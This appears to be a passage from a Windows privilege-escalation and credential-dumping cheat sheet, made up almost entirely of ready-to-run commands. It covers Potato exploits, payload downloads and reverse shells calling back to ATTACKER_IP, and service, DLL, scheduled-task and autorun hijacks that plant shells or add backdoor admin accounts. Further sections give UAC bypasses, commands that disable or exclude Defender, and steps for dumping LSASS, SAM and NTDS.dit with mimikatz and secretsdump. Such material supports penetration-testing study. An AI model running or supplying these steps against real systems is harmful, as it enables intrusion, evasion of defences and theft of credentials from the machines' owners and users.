:: ==========================================

:: Detailed installed programs:
wmic product get name,version,installdate | sort
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | \
    findstr /i "DisplayName\|DisplayVersion"
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | \
    findstr /i "DisplayName\|DisplayVersion"

:: Check for known vulnerable applications:
:: → Vulnerable software = local privesc CVE
:: → Look for: old Java, Adobe products, AV software, media players

:: 32-bit software on 64-bit OS:
reg query HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall /s | \
    findstr /i "DisplayName\|DisplayVersion"

:: Program Files contents:
dir /b "C:\Program Files"
dir /b "C:\Program Files (x86)"

:: ==========================================
:: RUNNING PROCESSES
:: ==========================================

tasklist /v                        :: Verbose — shows user running each process
tasklist /FI "USERNAME ne N/A"     :: Only user processes
wmic process list full             :: Detailed process info
wmic process get name,processid,executablepath,commandline | findstr /v "System\|smss\|csrss\|lsass\|svchost\|winlogon"

:: Look for:
:: → Non-standard processes (custom software)
:: → Process running as SYSTEM but with writable path
:: → AV/EDR processes (know what you're up against)
:: → Password manager processes (might allow extraction)
:: → Database processes running locally (MySQL, MSSQL, Oracle)

:: PowerShell — process list with details:
Get-Process | select Name, Id, Path, StartTime | Sort-Object StartTime

:: ==========================================
:: ANTI-VIRUS AND SECURITY PRODUCTS
:: ==========================================

wmic /namespace:\\root\securitycenter2 path antivirusproduct \
    GET displayName,pathToSignedProductExe,productState /value 2>nul
wmic /namespace:\\root\securitycenter2 path antispywareproduct \
    GET displayName /value 2>nul

sc query WinDefend
sc query Sense              :: Windows Defender for Endpoint (MDE)
sc query MsMpSvc
sc query NisSrv
sc query CrowdStrike
sc query cbdefense          :: Carbon Black
sc query SentinelAgent
sc query CylanceSvc
sc query ekrn               :: ESET

:: Check Windows Defender exclusion paths (golden spots for payloads!):
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths"
reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths"

:: ==========================================
:: PATCHES / HOTFIXES
:: ==========================================

wmic qfe get Caption,Description,HotFixID,InstalledOn | sort /+150
systeminfo | findstr "KB"          :: Installed KBs

:: Run Windows Exploit Suggester / Watson to identify missing patches!
.\Watson.exe

:: ==========================================
:: STEP 1: CONFIRM PRIVILEGE
:: ==========================================
whoami /priv | findstr "SeImpersonate\|SeAssignPrimary"
:: If either line shows "Enabled" → PROCEED

:: ==========================================
:: STEP 2: DOWNLOAD TOOLS TO TARGET
:: ==========================================

:: From attacker:
python3 -m http.server 8080

:: On target:
certutil -urlcache -split -f http://ATTACKER_IP:8080/GodPotato.exe C:\Windows\Temp\gp.exe
certutil -urlcache -split -f http://ATTACKER_IP:8080/PrintSpoofer64.exe C:\Windows\Temp\ps.exe

:: ==========================================
:: GODPOTATO (Most Reliable — Try This First!)
:: ==========================================

:: Check current user:
.\GodPotato.exe -cmd "cmd /c whoami"

:: Get SYSTEM shell (reverse shell):
.\GodPotato.exe -cmd "cmd /c C:\Windows\Temp\shell.exe"
.\GodPotato.exe -cmd "powershell -enc <B64_REVSHELL>"

:: Execute specific commands:
.\GodPotato.exe -cmd "cmd /c type C:\Users\Administrator\Desktop\proof.txt"
.\GodPotato.exe -cmd "cmd /c net user hacked Password123! /add && net localgroup administrators hacked /add"

:: Add current user to admins:
.\GodPotato.exe -cmd "cmd /c net localgroup administrators %USERNAME% /add"

:: ==========================================
:: PRINTSPOOFER (Fast — Works on Win10/Server 2016-2019)
:: ==========================================

:: Requires: Print Spooler service running
sc query Spooler | findstr "STATE"
:: "RUNNING" = can use PrintSpoofer

:: Get interactive SYSTEM cmd:
.\PrintSpoofer64.exe -i -c cmd.exe
.\PrintSpoofer64.exe -i -c powershell.exe

:: Get reverse shell as SYSTEM:
.\PrintSpoofer64.exe -c "C:\Windows\Temp\shell.exe"
.\PrintSpoofer64.exe -c "cmd /c C:\Windows\Temp\shell.exe"

:: ==========================================
:: JUICYPOTATO (Older Systems — Pre-Win10 1809)
:: ==========================================

:: Find a valid CLSID for the OS:
:: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

:: x64:
.\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\shell.exe -t * \
    -c {CLSID_FOR_OS}

:: Example CLSID for Server 2016:
.\JuicyPotato.exe -l 1337 -p C:\Windows\Temp\shell.exe -t * \
    -c {e60687f7-01a1-40aa-86ac-db1cbf673334}

:: ==========================================
:: JUICYPOTATONG (Server 2019+ / Win10 1809+)
:: ==========================================

.\JuicyPotatoNG.exe -t * -p "cmd.exe" -a "/c whoami"
.\JuicyPotatoNG.exe -t * -p "C:\Windows\Temp\shell.exe"

:: ==========================================
:: SWEETPOTATO
:: ==========================================

.\SweetPotato.exe -e EfsRpc -p cmd.exe -a "/c whoami"
.\SweetPotato.exe -e PrintSpoofer -p "C:\Windows\Temp\shell.exe"

:: ==========================================
:: GENERATE REVERSE SHELL PAYLOAD
:: ==========================================

:: On Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -f exe > shell.exe
python3 -m http.server 8080

:: On target:
certutil -urlcache -split -f http://ATTACKER_IP:8080/shell.exe C:\Windows\Temp\shell.exe

:: On Kali — listen:
rlwrap nc -lvnp 4444

:: Trigger:
.\GodPotato.exe -cmd "C:\Windows\Temp\shell.exe"

:: ==========================================
:: STEP 1: FIND UNQUOTED PATHS
:: ==========================================

wmic service get name,displayname,pathname,startmode 2>nul | \
    findstr /i "auto" | findstr /i /v """" | findstr /i /v "C:\Windows"

:: More comprehensive (includes manual-start services):
wmic service get name,pathname,startmode,startname 2>nul | \
    findstr /v """" | findstr " "

:: PowerShell — clean output:
Get-CimInstance -ClassName Win32_Service | Where-Object {
    $_.PathName -notmatch '^"' -and
    $_.PathName -notmatch '^C:\\Windows\\' -and
    $_.PathName -match ' '
} | select Name, DisplayName, PathName, StartName, State, StartMode

:: ==========================================
:: STEP 2: IDENTIFY WRITABLE DIRECTORY
:: ==========================================

:: Example path: C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
:: Check each directory:
icacls "C:\Program Files\Unquoted Path Service"
icacls "C:\Program Files\Unquoted Path Service\Common Files"
icacls "C:\Program Files"
icacls "C:\"

:: Look for: (W) Write, (M) Modify, (F) Full Control for current user or Everyone/Users
:: e.g.: BUILTIN\Users:(W)  ← WRITABLE!

:: ==========================================
:: STEP 3: CHECK SERVICE CAN BE RESTARTED
:: ==========================================

sc qc "Unquoted Path Service"
:: Check: START_TYPE (2=auto, 3=demand)
:: Check: SERVICE_START_NAME (need SYSTEM or admin account)

:: Can current user start/stop?
.\accesschk64.exe /accepteula -ucqv "Unquoted Path Service"
:: Look for: SERVICE_START, SERVICE_STOP for current user

:: ==========================================
:: STEP 4: PLACE PAYLOAD IN WRITABLE DIR
:: ==========================================

:: Generate payload:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -f exe -o Common.exe

:: Transfer to target and place it:
copy Common.exe "C:\Program Files\Unquoted Path Service\Common.exe"
:: (Windows will execute "Common.exe" before looking for "Common Files\unquotedpathservice.exe")

:: ==========================================
:: STEP 5: START LISTENER AND TRIGGER
:: ==========================================

:: Kali: rlwrap nc -lvnp 4444

:: Stop then start service:
sc stop "Unquoted Path Service"
sc start "Unquoted Path Service"

:: If can't stop — check if it auto-starts on boot (restart machine if possible)
shutdown /r /t 0   :: Reboot (only if you won't lose access!)

:: OR use PowerUp:
. .\PowerUp.ps1
Write-ServiceBinary -Name 'Unquoted Path Service' -Path "C:\Program Files\Unquoted Path Service\Common.exe"

:: ==========================================
:: STEP 1: FIND MISCONFIGURED SERVICES
:: ==========================================

.\accesschk64.exe /accepteula -uwcqv "Authenticated Users" *
.\accesschk64.exe /accepteula -uwcqv "Everyone" *
.\accesschk64.exe /accepteula -uwcqv "BUILTIN\Users" *
.\accesschk64.exe /accepteula -uwcqv %USERNAME% *

:: PowerUp:
. .\PowerUp.ps1
Get-ModifiableService

:: Manual:
sc qc daclsvc        :: Read config of vulnerable service
sc query daclsvc     :: Status

:: ==========================================
:: STEP 2: VERIFY IT RUNS AS SYSTEM
:: ==========================================

sc qc "VulnerableService"
:: SERVICE_START_NAME: LocalSystem  ← Runs as SYSTEM!

:: ==========================================
:: STEP 3: CHANGE SERVICE BINARY PATH
:: ==========================================

:: Method A: Change to add admin user
sc config "VulnerableService" binpath= "cmd.exe /c net user hacked Pass123! /add"
sc start "VulnerableService"    :: Runs command as SYSTEM
sc config "VulnerableService" binpath= "cmd.exe /c net localgroup administrators hacked /add"
sc start "VulnerableService"

:: Method B: Change to reverse shell
sc config "VulnerableService" binpath= "C:\Windows\Temp\shell.exe"
sc start "VulnerableService"

:: Method C: PowerUp automated exploit
. .\PowerUp.ps1
Invoke-ServiceAbuse -Name 'VulnerableService' -Command "net user hacked Pass123! /add"
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hacked' -Password 'Pass123!'

:: ==========================================
:: STEP 1: FIND WRITABLE SERVICE BINARIES
:: ==========================================

:: Get all service binary paths:
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "svchost"') do (
    %systemroot%\system32\cacls.exe "%a" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%"
) 2>nul

:: PowerShell — cleaner version:
Get-CimInstance -ClassName Win32_Service | Where-Object {
    $_.State -eq 'Running' -and $_.PathName -notmatch 'C:\\Windows'
} | ForEach-Object {
    $binPath = ($_.PathName -replace '"','').Split(' ')
    $acl = Get-Acl $binPath -ErrorAction SilentlyContinue
    if ($acl) {
        $acl.Access | Where-Object {
            $_.FileSystemRights -match 'FullControl|Modify|Write' -and
            $_.IdentityReference -match 'Everyone|Users|Authenticated Users'
        } | ForEach-Object {
            Write-Host "[VULN] $binPath — $($_.IdentityReference) — $($_.FileSystemRights)" -FG Red
        }
    }
}

:: ==========================================
:: STEP 2: BACKUP ORIGINAL BINARY
:: ==========================================

copy "C:\vulnerable\service.exe" "C:\Windows\Temp\service_backup.exe"

:: ==========================================
:: STEP 3: REPLACE WITH PAYLOAD
:: ==========================================

:: Option A: Use msfvenom shell
copy C:\Windows\Temp\shell.exe "C:\vulnerable\service.exe"

:: Option B: Add admin user binary (compile or use PowerUp)
. .\PowerUp.ps1
Install-ServiceBinary -Name 'VulnerableService'
:: (PowerUp creates a binary that adds admin user)

:: ==========================================
:: STEP 4: RESTART SERVICE → SYSTEM SHELL
:: ==========================================

sc stop VulnerableService
sc start VulnerableService

:: ==========================================
:: STEP 5: RESTORE ORIGINAL (CLEANUP)
:: ==========================================
copy "C:\Windows\Temp\service_backup.exe" "C:\vulnerable\service.exe"

:: ==========================================
:: STEP 1: FIND DLL HIJACKING OPPORTUNITIES
:: ==========================================

:: Method A: Process Monitor (GUI tool — if you have RDP)
:: Procmon filters:
:: → Operation: Name Not Found (DLL not found in this dir)
:: → Path: ends with .dll
:: → Result: NAME NOT FOUND
:: → Save: where it tried to load from

:: Method B: PowerUp
. .\PowerUp.ps1
Find-PathDLLHijack

:: Method C: Check PATH for writable dirs (manual)
for %p in (%PATH%) do ( icacls "%p" 2>nul | findstr /i "(F) (M) (W)" )

:: ==========================================
:: STEP 2: IDENTIFY TARGET DLL + APPLICATION
:: ==========================================

:: Example scenario:
:: Service "DLLHijackService" loads "hijackme.dll"
:: Tries: C:\Program Files\DLLHijack\hijackme.dll → NOT FOUND
:: Directory C:\Program Files\DLLHijack\ is WRITABLE

:: ==========================================
:: STEP 3: CREATE MALICIOUS DLL
:: ==========================================

:: Method A: msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -f dll -o hijackme.dll

:: Method B: Manual C code — proper DLL template
:: (This avoids crashing the application)

:: malicious_dll.c:
:: #include <windows.h>
:: BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason, LPVOID lpReserved) {
::     switch (ul_reason) {
::         case DLL_PROCESS_ATTACH:
::             system("cmd.exe /c net user hacked Pass123! /add && net localgroup administrators hacked /add");
::             break;
::     }
::     return TRUE;
:: }

:: Compile on Kali:
x86_64-w64-mingw32-gcc -shared -o hijackme.dll malicious_dll.c

:: ==========================================
:: STEP 4: PLACE DLL AND TRIGGER
:: ==========================================

copy hijackme.dll "C:\Program Files\DLLHijack\hijackme.dll"

:: Restart service:
sc stop DLLHijackService && sc start DLLHijackService
:: OR wait for restart / reboot

:: ==========================================
:: DLL HIJACKING COMMON TARGETS
:: ==========================================

:: Popular DLLs that are frequently missing/hijackable:
:: → VERSION.dll     (many apps look for this)
:: → WINHTTP.dll
:: → WLBSCTRL.dll    (IKEEXT service on older Windows!)
:: → TSMSISrv.dll
:: → CRYPTBASE.dll
:: → DNSAPI.dll
:: → sysprep DLLs (CRYPTSP.dll, etc.)

:: IKEEXT service (IKE and AuthIP IPsec Keying Modules):
:: wlbsctrl.dll — missing from System32!
:: If C:\Windows\System32\ is NOT where it loads from
:: Check if path has writable directory

:: Sysprep hijack:
:: Place CRYPTSP.dll in C:\Windows\System32\sysprep\
:: Run sysprep.exe → loads your DLL as SYSTEM!

:: ==========================================
:: STEP 1: CHECK BOTH KEYS
:: ==========================================

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
:: BOTH must show 0x1 = vulnerable!

:: PowerUp:
. .\PowerUp.ps1
Get-RegistryAlwaysInstallElevated

:: ==========================================
:: STEP 2: GENERATE MALICIOUS MSI PAYLOAD
:: ==========================================

:: From Kali:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 \
    -f msi -o evil.msi

:: OR add admin user:
msfvenom -p windows/x64/exec CMD='net user hacked Pass123! /add' \
    -f msi > adduser.msi

:: ==========================================
:: STEP 3: EXECUTE ON TARGET
:: ==========================================

:: Start listener on Kali:
rlwrap nc -lvnp 4444

:: On target:
msiexec /quiet /qn /i C:\Windows\Temp\evil.msi
:: /quiet = no GUI, /qn = no user interaction

:: OR via PowerUp:
. .\PowerUp.ps1
Write-UserAddMSI            :: Creates UserAdd.msi
msiexec /quiet /qn /i UserAdd.msi

:: ==========================================
:: STEP 4: VERIFY
:: ==========================================
net localgroup administrators    :: Should see new admin user
whoami                           :: If reverse shell = SYSTEM!

:: ==========================================
:: SCHEDULED TASK CREDENTIALS
:: ==========================================

:: Tasks sometimes store run-as credentials:
schtasks /query /fo LIST /v | findstr /i "Run As User\|Task To Run"

:: Check task XML files (contain user context):
dir /s /b C:\Windows\System32\Tasks\ 2>nul
dir /s /b C:\Windows\SysWOW64\Tasks\ 2>nul
type C:\Windows\System32\Tasks\TASKNAME 2>nul

:: ==========================================
:: WIFI PASSWORDS (Often reused for domain/local!)
:: ==========================================

:: List saved WiFi profiles:
netsh wlan show profiles

:: Show password for each profile:
netsh wlan show profile name="PROFILE_NAME" key=clear
:: Look for: "Key Content" field = plaintext password!

:: All profiles at once:
for /f "tokens=2 delims=:" %i in ('netsh wlan show profiles^|find "Profile"') do (
    netsh wlan show profile name="%i" key=clear 2>nul | findstr "Key Content"
)

:: PowerShell one-liner:
(netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups.Value.Trim(); $_} |
    %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" |
    %{"$name => " + $_.Matches.Groups.Value.Trim()}

:: ==========================================
:: LAPS (Local Administrator Password Solution)
:: ==========================================

:: If LAPS deployed → local admin passwords rotated automatically
:: But if we have AD read rights → we might read them!

:: Check if LAPS installed:
reg query "HKLM\SOFTWARE\Policies\Microsoft Services\AdmPwd" 2>nul
Get-Item "HKLM:\SOFTWARE\Policies\Microsoft Services\AdmPwd" -ErrorAction SilentlyContinue

:: Read LAPS passwords from AD (need specific AD permissions):
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Where-Object {$_."ms-Mcs-AdmPwd" -ne $null}
Get-DomainComputer -Filter * -Properties ms-Mcs-AdmPwd 2>$null   :: PowerView

:: From Linux:
ldapsearch -H ldap://DC_IP -D "user@domain.local" -w 'pass' \
    -b "DC=domain,DC=local" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd sAMAccountName

:: ==========================================
:: FIND AUTORUN REGISTRY ENTRIES
:: ==========================================

reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
reg query HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows /v load
reg query HKLM\SYSTEM\CurrentControlSet\Control\Session Manager /v BootExecute

:: Less common but important:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders

:: ==========================================
:: CHECK IF AUTORUN BINARIES ARE WRITABLE
:: ==========================================

:: For each path found in registry autoruns:
icacls "C:\path\to\autorun_binary.exe"
:: Look for: (W) or (M) or (F) for current user/Everyone/Users

:: Autorun via Startup folder:
dir "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
dir "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup"

:: Are startup folders writable?
icacls "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

:: If writable → drop payload → runs on next admin login!
copy C:\Windows\Temp\shell.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\shell.exe"

:: ==========================================
:: MODIFY WRITABLE AUTORUN BINARY
:: ==========================================

:: If autorun binary itself is writable:
:: Backup original:
copy "C:\autorun_app\app.exe" "C:\autorun_app\app.exe.bak"
:: Replace with payload:
copy C:\Windows\Temp\shell.exe "C:\autorun_app\app.exe"
:: Wait for reboot / admin login → SYSTEM shell!

:: PowerUp check:
. .\PowerUp.ps1
Get-ModifiableRegistryAutoRun

:: ==========================================
:: FIND EXPLOITABLE SCHEDULED TASKS
:: ==========================================

:: Get all non-Microsoft tasks with details:
schtasks /query /fo LIST /v 2>nul | findstr /i /B \
    "TaskName\|Status\|Run As User\|Task To Run\|Schedule Type\|Start Time\|Next Run"

:: PowerShell — structured view of non-MS tasks:
Get-ScheduledTask | Where-Object {
    $_.TaskPath -notlike "\Microsoft\*" -and
    $_.State -ne 'Disabled'
} | ForEach-Object {
    [PSCustomObject]@{
        Name      = $_.TaskName
        Path      = $_.TaskPath
        RunAs     = $_.Principal.UserId
        Execute   = ($_.Actions | Select-Object -First 1).Execute
        Arguments = ($_.Actions | Select-Object -First 1).Arguments
        Triggers  = ($_.Triggers | Select-Object -First 1).CimClass.CimClassName
    }
} | Format-Table -AutoSize

:: ==========================================
:: SCENARIO 1: TASK RUNS SCRIPT/EXE YOU CAN WRITE TO
:: ==========================================

:: Example: Task runs C:\Temp\cleanup.bat as SYSTEM
:: Check file permission:
icacls "C:\Temp\cleanup.bat"
:: (W) or (M) for your user → EXPLOIT!

:: Inject payload into script:
echo C:\Windows\Temp\shell.exe >> C:\Temp\cleanup.bat
:: OR replace entirely:
echo @echo off > C:\Temp\cleanup.bat
echo C:\Windows\Temp\shell.exe >> C:\Temp\cleanup.bat

:: Wait for task to run (check "Next Run Time")
:: OR force trigger if you have access:
schtasks /run /tn "TaskName"

:: ==========================================
:: SCENARIO 2: TASK DIRECTORY IS WRITABLE
:: ==========================================

:: If task calls app.exe in writable dir:
icacls "C:\Writable\Dir\"
:: (W) → place your own app.exe there!
copy C:\Windows\Temp\shell.exe "C:\Writable\Dir\app.exe"

:: ==========================================
:: SCENARIO 3: CREATE YOUR OWN ELEVATED TASK (if admin)
:: ==========================================

:: If you HAVE local admin but want SYSTEM:
schtasks /create /tn "SysTask" /tr "C:\Windows\Temp\shell.exe" \
    /sc once /st 00:00 /ru "SYSTEM"
schtasks /run /tn "SysTask"
schtasks /delete /tn "SysTask" /f     :: Cleanup

:: PowerShell version:
$action  = New-ScheduledTaskAction -Execute "C:\Windows\Temp\shell.exe"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(10)
$settings = New-ScheduledTaskSettingsSet
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
Register-ScheduledTask -TaskName "SysTask2" -Action $action -Trigger $trigger \
    -Settings $settings -Principal $principal
Start-ScheduledTask -TaskName "SysTask2"
Unregister-ScheduledTask -TaskName "SysTask2" -Confirm:$false

:: ==========================================
:: MONITORING TASK EXECUTION (OPSEC)
:: ==========================================

:: View task history:
Get-WinEvent -LogName "Microsoft-Windows-TaskScheduler/Operational" |
    Where-Object {$_.Message -match "TASKNAME"} | Format-List

:: ==========================================
:: CHECK UAC STATUS
:: ==========================================

:: Check UAC settings:
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
:: 0x1 = UAC enabled, 0x0 = UAC disabled (already running as admin!)

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
:: 0 = elevate without prompt (UAC bypassed already!)
:: 1 = prompt with creds (hard bypass)
:: 5 = prompt for consent (bypassable!)

:: Check current integrity level:
whoami /groups | findstr "Mandatory"
:: High Mandatory Level = already elevated
:: Medium Mandatory Level = needs bypass

:: ==========================================
:: UAC BYPASS — FODHELPER.EXE (RELIABLE!)
:: ==========================================

:: How it works:
:: fodhelper.exe auto-elevates (has autoElevate in manifest)
:: It reads HKCU\Software\Classes\ms-settings\shell\open\command
:: If we create this key → our payload runs elevated!

:: Step 1: Create registry key with payload
New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(default)" -Value "C:\Windows\Temp\shell.exe" -Force

:: Step 2: Run fodhelper (triggers our payload at high integrity)
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden

:: Step 3: Cleanup
Remove-Item "HKCU:\Software\Classes\ms-settings\" -Recurse -Force

:: ==========================================
:: UAC BYPASS — EVENTVWR.EXE
:: ==========================================

:: eventvwr.exe reads HKCU\Software\Classes\mscfile\shell\open\command
New-Item "HKCU:\Software\Classes\mscfile\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\Shell\Open\command" `
    -Name "(default)" -Value "C:\Windows\Temp\shell.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
Remove-Item "HKCU:\Software\Classes\mscfile\" -Recurse -Force

:: ==========================================
:: UAC BYPASS — CMSTP.EXE
:: ==========================================

:: Create malicious INF file:
$CMSTPBypass = @"
[version]
Signature=`$chicago`$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
C:\Windows\Temp\shell.exe
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7
"@
$CMSTPBypass | Out-File "C:\Windows\Temp\bypass.inf" -Encoding ASCII
Start-Process "C:\Windows\System32\cmstp.exe" -ArgumentList "/s C:\Windows\Temp\bypass.inf" -WindowStyle Hidden

:: ==========================================
:: UAC BYPASS — COMPUTERDEFAULTS.EXE
:: ==========================================

New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" `
    -Name "(default)" -Value "C:\Windows\Temp\shell.exe" -Force
Start-Process "C:\Windows\System32\ComputerDefaults.exe" -WindowStyle Hidden

:: ==========================================
:: UAC BYPASS — SDCLT.EXE (Windows 10)
:: ==========================================

New-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" `
    -Name "(default)" -Value "C:\Windows\Temp\shell.exe" -Force
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
Remove-Item "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" -Force

:: ==========================================
:: UAC BYPASS — DISABLE DEFENDER (ONCE ELEVATED)
:: ==========================================

:: Once you have HIGH integrity (UAC bypassed):
Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableScriptScanning $true

:: Add exclusion (better — doesn't disable Defender fully = less noise):
Add-MpPreference -ExclusionPath "C:\Windows\Temp"
Add-MpPreference -ExclusionProcess "shell.exe"

:: Disable via registry (persistent):
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f

:: ==========================================
:: LSASS DUMP (Need SeDebugPrivilege or SYSTEM)
:: ==========================================

:: Method A: Mimikatz (classic)
.\mimikatz.exe
privilege::debug                        :: Enable SeDebug
sekurlsa::logonpasswords               :: Plaintext + hashes
sekurlsa::wdigest                      :: WDigest (older systems)
sekurlsa::kerberos                     :: Kerberos tickets
sekurlsa::msv                          :: MSV/NTLM hashes
sekurlsa::tspkg                        :: TS credentials

:: Method B: Task Manager (if RDP access)
:: Open Task Manager → Details → lsass.exe → Right-click → Create dump file
:: Dump saved to C:\Users\ADMIN\AppData\Local\Temp\lsass.DMP
:: Transfer to Kali → pypykatz / mimikatz offline

:: Method C: ProcDump (signed Microsoft tool — AV-friendly!)
.\procdump.exe -accepteula -ma lsass.exe C:\Windows\Temp\lsass.dmp
:: Transfer to Kali:
python3 -m pypykatz lsa minidump lsass.dmp

:: Method D: comsvcs.dll (LOLBin — no tools needed!)
:: Must be SYSTEM or SeDebugPrivilege
tasklist | findstr lsass              :: Get LSASS PID
rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> \
    C:\Windows\Temp\lsass.dmp full
:: Transfer + parse with pypykatz

:: Method E: crackmapexec / netexec remote dump
netexec smb TARGET_IP -u admin -p pass -M lsassy
netexec smb TARGET_IP -u admin -p pass --sam
crackmapexec smb TARGET_IP -u admin -p pass -M nanodump

:: ==========================================
:: SAM DATABASE (Local Account Hashes)
:: ==========================================

:: LIVE system dump (need SYSTEM):
.\mimikatz.exe
lsadump::sam                            :: Dump SAM directly

:: Registry backup method (admin suffices!):
reg save HKLM\SAM C:\Windows\Temp\SAM
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
reg save HKLM\SECURITY C:\Windows\Temp\SECURITY

:: Transfer to Kali → parse offline:
impacket-secretsdump -sam SAM -system SYSTEM -security SECURITY LOCAL
:: Gets: local account NTLM hashes + LSA secrets!

:: Method: SeBackupPrivilege (if we have it, no admin needed!)
:: (See SeBackupPrivilege section below)

:: ==========================================
:: LSA SECRETS (Service account passwords!)
:: ==========================================

:: Mimikatz:
.\mimikatz.exe "lsadump::secrets" exit

:: Secretsdump remote:
impacket-secretsdump domain/user:pass@TARGET_IP
:: Gets: SAM + LSA secrets + cached domain logons

:: LSA secrets often contain:
:: → Service account passwords (cleartext!)
:: → DPAPI master keys
:: → Machine account password hash
:: → Cached domain admin credentials!

:: ==========================================
:: CACHED DOMAIN CREDENTIALS (DCC2)
:: ==========================================

:: When domain user logs into offline machine → creds cached locally
:: Mimikatz:
.\mimikatz.exe "lsadump::cache" exit
:: Gets: DCC2 hashes (Domain Cached Credentials v2)

:: Crack DCC2 hashes (SLOW — use GPU!):
hashcat -m 2100 dcc2_hashes.txt /usr/share/wordlists/rockyou.txt
:: Format: $DCC2$10240#username#hash

:: Secretsdump (remote):
impacket-secretsdump -just-dc-caches domain/user:pass@DC_IP

:: ==========================================
:: NTDS.DIT (DOMAIN CONTROLLER ONLY!)
:: ==========================================

:: If you have SYSTEM on DC:
ntdsutil "ac i ntds" "ifm" "create full C:\Windows\Temp\ntds_dump" q q
:: Creates: ntds.dit + SYSTEM hive in dump directory

:: OR volume shadow copy:
vssadmin create shadow /for=C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\NTDS.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\Windows\Temp\SYSTEM

:: Parse on Kali:
impacket-secretsdump -ntds NTDS.dit -system SYSTEM LOCAL
:: Gets: ALL domain account hashes!

:: ==========================================
:: SEBACKUPPRIVILEGE — READ ANY FILE!
:: ==========================================

:: If whoami /priv shows SeBackupPrivilege:
:: Can read ANY file regardless of DACL! (uses backup API)

